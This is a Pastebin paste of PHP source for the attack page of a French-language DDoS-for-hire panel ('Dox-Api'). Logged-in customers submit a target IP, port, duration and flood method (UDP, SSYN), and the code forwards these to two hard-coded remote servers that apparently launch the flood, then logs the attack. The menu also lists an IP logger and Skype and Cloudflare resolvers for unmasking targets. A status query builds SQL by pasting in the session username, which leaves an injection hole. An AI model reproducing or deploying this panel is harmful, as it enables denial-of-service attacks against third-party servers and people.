Advertisement
Guest User

Untitled

a guest
Nov 28th, 2014
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.62 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. error_reporting(0);
  4. require_once 'includes/db.php';
  5. require_once 'includes/init.php';
  6. if (!($user -> LoggedIn()))
  7. {
  8. header('location: connexion.php');
  9. die();
  10. }
  11. if (!($user -> notBanned($odb)))
  12. {
  13. header('location: connexion.php');
  14. die();
  15. }
  16. ?>
  17. <!DOCTYPE html>
  18. <html>
  19. <head>
  20. <title>Dox-Api | Attaquer</title>
  21. <link href="css/application.min.css" rel="stylesheet">
  22. <link rel="shortcut icon" href="img/favicon.png">
  23. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  24. <meta name="description" content="">
  25. <meta name="author" content="">
  26. <meta charset="utf-8">
  27. <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet">
  28. </head>
  29. <body class="background-dark">
  30. <div class="logo">
  31. <h4><a href="index.html">Kali<strong>Production</strong></a></h4>
  32. </div>
  33. <nav id="sidebar" class="sidebar nav-collapse collapse">
  34. <ul id="side-nav" class="side-nav">
  35. <li>
  36. <a href="index.php"><i class="fa fa-home"></i> <span class="name">Accueil</span></a>
  37. </li>
  38. <li class="active">
  39. <a href="attaquer.php"><i class="fa fa-fire"></i> <span class="name">Attaquer une IP</span></a>
  40. </li>
  41. <li>
  42. <a href="historique.php"><i class="fa fa-bar-chart-o"></i> <span class="name">Mes attaques</span></a>
  43. </li>
  44. <li>
  45. <a href="logger.php"><i class="fa fa-database"></i> <span class="name">IP Logger</span></a>
  46. </li>
  47. <li class="panel">
  48. <a class="accordion-toggle collapsed" data-toggle="collapse"
  49. data-parent="#side-nav" href="index.html#forms-collapse"><i class="fa fa-bars"></i> <span class="name">Outils</span></a>
  50. <ul id="forms-collapse" class="panel-collapse collapse">
  51. <li><a href="skype.php">Skype Resolver</a></li>
  52. <li><a href="domaine.php">Domaine Resolver</a></li>
  53. <li><a href="cloudflare.php">Cloudflare Resolver</a></li>
  54. </ul>
  55. </li>
  56. </ul>
  57. </nav>
  58. <?php
  59. $plansql = $odb -> prepare("SELECT `users`.*,`plans`.`name`, `plans`.`mbt` FROM `users`, `plans` WHERE `plans`.`ID` = `users`.`membership` AND `users`.`ID` = :id LIMIT 1");
  60. $plansql -> execute(array(":id" => $_SESSION['ID']));
  61. $userInfo = $plansql -> fetch(PDO::FETCH_ASSOC);
  62. ?>
  63. <div class="wrap">
  64. <header class="page-header">
  65. <div class="navbar">
  66. <ul class="nav navbar-nav navbar-right pull-right">
  67. <li class="divider"></li>
  68. <li class="visible-xs">
  69. <a href="index.html#"
  70. class="btn-navbar"
  71. data-toggle="collapse"
  72. data-target=".sidebar"
  73. title="">
  74. <i class="fa fa-bars"></i>
  75. </a>
  76. </li>
  77. <li class="hidden-xs"><a href="user.php"><i class="fa fa-user"></i></a></li>
  78. <li class="hidden-xs"><a href="deconnexion.php"><i class="fa fa-sign-out"></i></a></li>
  79. </ul>
  80. <div class="notifications pull-right">
  81. <div class="alert pull-right">
  82. <a href="index.html#" class="close" data-dismiss="alert">&times;</a>
  83. <i class="fa fa-info-circle"></i> Bienvenue <?php echo $_SESSION['username']; ?>!
  84. </div>
  85. </div>
  86. </div>
  87. </header>
  88. <div class="content container">
  89. <div class="row">
  90. <div class="col-md-12">
  91. <h2 class="page-title">Accueil <small>Page d'attaque</small></h2>
  92. </div>
  93. <div class="row">
  94. <div class="col-md-3 col-sm-4 col-xs-6">
  95. <div class="box">
  96. <div class="icon">
  97. <?php echo $stats -> totalBoots($odb, $_SESSION['username']); ?>
  98. </div>
  99. <div class="description">
  100. <strong>ATTAQUES GLOBALES</strong>
  101. </div>
  102. </div>
  103. </div>
  104. <div class="col-md-3 col-sm-4 col-xs-6">
  105. <div class="box">
  106. <div class="big-text">
  107. <?php echo $stats -> totalUsers($odb); ?>
  108. </div>
  109. <div class="description">
  110. <strong>MEMBRES</strong>
  111. </div>
  112. </div>
  113. </div>
  114. <div class="col-md-3 col-sm-4 col-xs-6">
  115. <div class="box">
  116. <div class="icon">
  117. 5
  118. </div>
  119. <div class="description">
  120. <strong>SERVEURS</strong>
  121. </div>
  122. </div>
  123. </div>
  124.  
  125. <div class="col-md-3 col-sm-4 col-xs-6">
  126. <div class="box">
  127. <div class="big-text">
  128. <?php echo $stats -> runningBoots($odb); ?> / 12
  129. </div>
  130. <div class="description">
  131. <strong>ATTAQUES EN COURS</strong>
  132. </div>
  133. </div>
  134. </div>
  135.  
  136. </div>
  137. <div class="col-md-12">
  138.  
  139. <section class="widget">
  140. <div class="body no-margin">
  141. <div class="alert alert-success">
  142. <strong>Statut de votre attaque :</strong> <?php
  143.  
  144. $req = $odb->query('SELECT date,time FROM logs WHERE user="'.$_SESSION['username'].'" AND (date + time)>'.time().' ORDER BY date LIMIT 0,1');
  145.  
  146. $data = $req->fetch(PDO::FETCH_ASSOC);
  147.  
  148. if(isset($data) && !empty($data)){
  149.  
  150. $cible = $data['date']+$data['time'];
  151.  
  152. $now = time();
  153.  
  154. $seconde = $cible - $now;
  155.  
  156. ?>
  157. Flooding... (<?php echo ($seconde < 10 ? "0".$seconde : $seconde); ?> Seconds)
  158.  
  159. <script type="text/javascript">
  160.  
  161. (function(){
  162.  
  163. var restant = <?php echo $seconde; ?>;
  164.  
  165.  
  166. function update(){
  167.  
  168. if(restant > 0){
  169.  
  170. $("#decompte").html(restant+" Flooding...(<?php echo ($seconde < 10 ? "0".$seconde : $seconde); ?> Seconds);
  171.  
  172. }else{
  173.  
  174. $("#decompte").html(" Aucune attaque lancée...");
  175.  
  176. }
  177.  
  178. restant--;
  179.  
  180.  
  181. }
  182.  
  183.  
  184.  
  185.  
  186. setInterval(update, 1);
  187.  
  188.  
  189.  
  190.  
  191. })(jQuery);
  192.  
  193. </script>
  194. <script type="text/javascript">
  195. form_widget_amount_slider('slider_target',document.forms[0].time,110,10,120);
  196. form_widget_amount_slider('slider_target2',document.forms[0].power,110,1,100);
  197.  
  198. </script>
  199. <?php
  200.  
  201. }else{
  202.  
  203. ?>
  204.  
  205. <i> Aucune attaque lancée...</i>
  206.  
  207. <?php
  208.  
  209. }
  210.  
  211. ?>
  212. </a>
  213. </div>
  214. <?php
  215. if (isset($_POST['attackBtn']))
  216. {
  217. $host = $_POST['host'];
  218. $port = intval($_POST['port']);
  219. $time = intval($_POST['time']);
  220. $method = $_POST['method'];
  221. if (empty($host) || empty($time) || empty($port) || empty($method))
  222. {
  223. echo '<div class="alert alert-danger">Il manque des choses, veuillez renseigner tous les champs.</div>';
  224. }
  225. else
  226. {
  227. if (!filter_var($host, FILTER_VALIDATE_IP))
  228. {
  229. echo '<div class="alert alert-danger">Adresse ip invalide.</div>';
  230. }
  231. else
  232. {
  233. $SQLCheckBlacklist = $odb -> prepare("SELECT COUNT(*) FROM `blacklist` WHERE `IP` = :host");
  234. $SQLCheckBlacklist -> execute(array(':host' => $host));
  235. $countBlacklist = $SQLCheckBlacklist -> fetchColumn(0);
  236. if ($countBlacklist > 0)
  237. {
  238. echo '<div class="alert alert-danger">Cette adresse ip est protégée.</div>';
  239. }
  240. else
  241. {
  242. $checkRunningSQL = $odb -> prepare("SELECT COUNT(*) FROM `logs` WHERE `user` = :username AND `time` + `date` > UNIX_TIMESTAMP()");
  243. $checkRunningSQL -> execute(array(':username' => $_SESSION['username']));
  244. $countRunning = $checkRunningSQL -> fetchColumn(0);
  245. if ($countRunning == 0)
  246. {
  247. $SQLGetTime = $odb -> prepare("SELECT `plans`.`mbt` FROM `plans` LEFT JOIN `users` ON `users`.`membership` = `plans`.`ID` WHERE `users`.`ID` = :id");
  248. $SQLGetTime -> execute(array(':id' => $_SESSION['ID']));
  249. $maxTime = $SQLGetTime -> fetchColumn(0);
  250. if (!($time > $maxTime))
  251. {
  252. ini_set('default_socket_timeout', 5);
  253. @file_get_contents("http://213.136.84.154/sodomi.php?host={$host}&port={$port}&time={$time}&method={$method}");
  254. @file_get_contents("http://79.143.187.155/sodomi.php?host={$host}&port={$port}&time={$time}&method={$method}");
  255.  
  256.  
  257.  
  258. $insertLogSQL = $odb -> prepare("INSERT INTO `logs` VALUES(:user, :ip, :port, :time, :method, UNIX_TIMESTAMP())");
  259. $insertLogSQL -> execute(array(':user' => $_SESSION['username'], ':ip' => $host, ':port' => $port, ':time' => $time, ':method' => $method));
  260. echo '<div class="alert alert-success">Attaque lancée sur '.$host.':'.$port.' pour '.$time.' secondes en '.$method.'</div>';
  261. }
  262. else
  263. {
  264. echo '<div class="alert alert-danger">Veuillez augmenter votre Pack pour pouvoir attaquer avec ce temps.</div>';
  265. }
  266. }
  267. else
  268. {
  269. echo '<div class="alert alert-danger">Vous avez déjà une attaque en cours.</div>';
  270. }
  271. }
  272. }
  273. }
  274. }
  275. ?>
  276. <form action="" method="POST">
  277. <center><input placeholder="Adresse IP : 1.1.1.1" class="form-control input-lg" value="" type="text" name="host"></center>
  278. <br>
  279. <center><input placeholder="Port : 80" class="form-control input-lg" type="text" maxlength="5" name="port"></center>
  280. <br>
  281. <center><input placeholder="Temps : 120" class="form-control input-lg" type="text" name="time"></center>
  282. <br>
  283. <center><select class="form-control input-lg" name="method"></center>
  284. <option value="UDP">UDP</option>
  285. <option value="SSYN">SSYN</option>
  286. </select>
  287. <br><button class="btn btn-success btn-lg btn-block" name="attackBtn" type="submit">Attaquer</button></form>
  288.  
  289. </div>
  290. </fieldset>
  291. </section>
  292. <section class="widget">
  293. <header>
  294. <h4>
  295. Récente attaques
  296. </h4>
  297. <div class="widget-controls">
  298. <a data-widgster="expand" title="Expand" href="index.php#"><i class="glyphicon glyphicon-plus"></i></a>
  299. <a data-widgster="collapse" title="Collapse" href="index.php#"><i class="glyphicon glyphicon-minus"></i></a>
  300. <a data-widgster="close" title="Close" href="index.php#"><i class="glyphicon glyphicon-remove"></i></a>
  301. </div>
  302. </header>
  303. <div class="body">
  304. <table class="table table-striped no-margin sources-table">
  305. <thead>
  306. <tr>
  307. <th class="source-col-header">Nom</th>
  308. <th>Adresse IP</th>
  309. <th>Port</th>
  310. <th class="hidden-xs">Temps</th>
  311. <th>Méthode</th>
  312. </tr>
  313. </thead>
  314. <tbody>
  315. <?php
  316. $SQLGetLogs = $odb -> query("SELECT * FROM `logs` ORDER BY `date` DESC LIMIT 3");
  317. while($getInfo = $SQLGetLogs -> fetch(PDO::FETCH_ASSOC))
  318. {
  319. echo '<tr><td>'.$getInfo['user'].'</td><td>'.$getInfo['ip'].'</td><td>'.$getInfo['port'].'</td><td>'.$getInfo['time'].'</td><td>'.$getInfo['method'].'</td></tr>';
  320. }
  321. ?>
  322. </tbody>
  323. </table>
  324. </div>
  325. </section>
  326. </div>
  327. </div>
  328. </div>
  329. </div>
  330.  
  331. <!-- jquery and friends -->
  332. <script src="lib/jquery/jquery-2.0.3.min.js"> </script>
  333. <script src="lib/jquery-pjax/jquery.pjax.js"></script>
  334.  
  335.  
  336. <!-- jquery plugins -->
  337. <script src="lib/icheck.js/jquery.icheck.js"></script>
  338. <script src="lib/sparkline/jquery.sparkline.js"></script>
  339. <script src="lib/jquery-ui-1.10.3.custom.js"></script>
  340. <script src="lib/jquery.slimscroll.js"></script>
  341.  
  342. <!-- d3, nvd3-->
  343. <script src="lib/nvd3/lib/d3.v2.js"></script>
  344. <script src="lib/nvd3/nv.d3.custom.js"></script>
  345.  
  346. <!-- nvd3 models -->
  347. <script src="lib/nvd3/src/models/scatter.js"></script>
  348. <script src="lib/nvd3/src/models/axis.js"></script>
  349. <script src="lib/nvd3/src/models/legend.js"></script>
  350. <script src="lib/nvd3/src/models/multiBar.js"></script>
  351. <script src="lib/nvd3/src/models/multiBarChart.js"></script>
  352. <script src="lib/nvd3/src/models/line.js"></script>
  353. <script src="lib/nvd3/src/models/lineChart.js"></script>
  354. <script src="lib/nvd3/stream_layers.js"></script>
  355.  
  356. <!--backbone and friends -->
  357. <script src="lib/backbone/underscore-min.js"></script>
  358. <script src="lib/backbone/backbone-min.js"></script>
  359. <script src="lib/backbone/backbone.localStorage-min.js"></script>
  360.  
  361. <!-- bootstrap default plugins -->
  362. <script src="lib/bootstrap/transition.js"></script>
  363. <script src="lib/bootstrap/collapse.js"></script>
  364. <script src="lib/bootstrap/alert.js"></script>
  365. <script src="lib/bootstrap/tooltip.js"></script>
  366. <script src="lib/bootstrap/popover.js"></script>
  367. <script src="lib/bootstrap/button.js"></script>
  368. <script src="lib/bootstrap/tab.js"> </script>
  369. <script src="lib/bootstrap/dropdown.js"></script>
  370.  
  371. <!-- basic application js-->
  372. <script src="js/app.js"></script>
  373. <script src="js/settings.js"></script>
  374.  
  375. <!-- page specific -->
  376. <script src="js/index.js"></script>
  377. <script src="js/chat.js"></script>
  378.  
  379. <script type="text/template" id="message-template">
  380. <div class="sender pull-left">
  381. <div class="icon">
  382. <img src="img/2.jpg" class="img-circle" alt="">
  383. </div>
  384. <div class="time">
  385. just now
  386. </div>
  387. </div>
  388. <div class="chat-message-body">
  389. <span class="arrow"></span>
  390. <div class="sender">Tikhon Laninga</div>
  391. <div class="text">
  392. <%- text %>
  393. </div>
  394. </div>
  395. </script>
  396.  
  397. <script type="text/template" id="settings-template">
  398. <div class="setting clearfix">
  399. <div>Background</div>
  400. <div id="background-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
  401. <% dark = background == 'dark'; light = background == 'light';%>
  402. <button type="button" data-value="dark" class="btn btn-sm btn-transparent <%= dark? 'active' : '' %>">Dark</button>
  403. <button type="button" data-value="light" class="btn btn-sm btn-transparent <%= light? 'active' : '' %>">Light</button>
  404. </div>
  405. </div>
  406. <div class="setting clearfix">
  407. <div>Sidebar on the</div>
  408. <div id="sidebar-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
  409. <% onRight = sidebar == 'right'%>
  410. <button type="button" data-value="left" class="btn btn-sm btn-transparent <%= onRight? '' : 'active' %>">Left</button>
  411. <button type="button" data-value="right" class="btn btn-sm btn-transparent <%= onRight? 'active' : '' %>">Right</button>
  412. </div>
  413. </div>
  414. <div class="setting clearfix">
  415. <div>Sidebar</div>
  416. <div id="display-sidebar-toggle" class="pull-left btn-group" data-toggle="buttons-radio">
  417. <% display = displaySidebar%>
  418. <button type="button" data-value="true" class="btn btn-sm btn-transparent <%= display? 'active' : '' %>">Show</button>
  419. <button type="button" data-value="false" class="btn btn-sm btn-transparent <%= display? '' : 'active' %>">Hide</button>
  420. </div>
  421. </div>
  422. <div class="setting clearfix">
  423. <div>White Version</div>
  424. <div>
  425. <a href="white/index.html" class="btn btn-sm btn-transparent">&nbsp; Switch &nbsp; <i class="fa fa-angle-right"></i></a>
  426. </div>
  427. </div>
  428. </script>
  429.  
  430. <script type="text/template" id="sidebar-settings-template">
  431. <% auto = sidebarState == 'auto'%>
  432. <% if (auto) {%>
  433. <button type="button"
  434. data-value="icons"
  435. class="btn-icons btn btn-transparent btn-sm">Icons</button>
  436. <button type="button"
  437. data-value="auto"
  438. class="btn-auto btn btn-transparent btn-sm">Auto</button>
  439. <%} else {%>
  440. <button type="button"
  441. data-value="auto"
  442. class="btn btn-transparent btn-sm">Auto</button>
  443. <% } %>
  444. </script>
  445.  
  446. </body>
  447. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement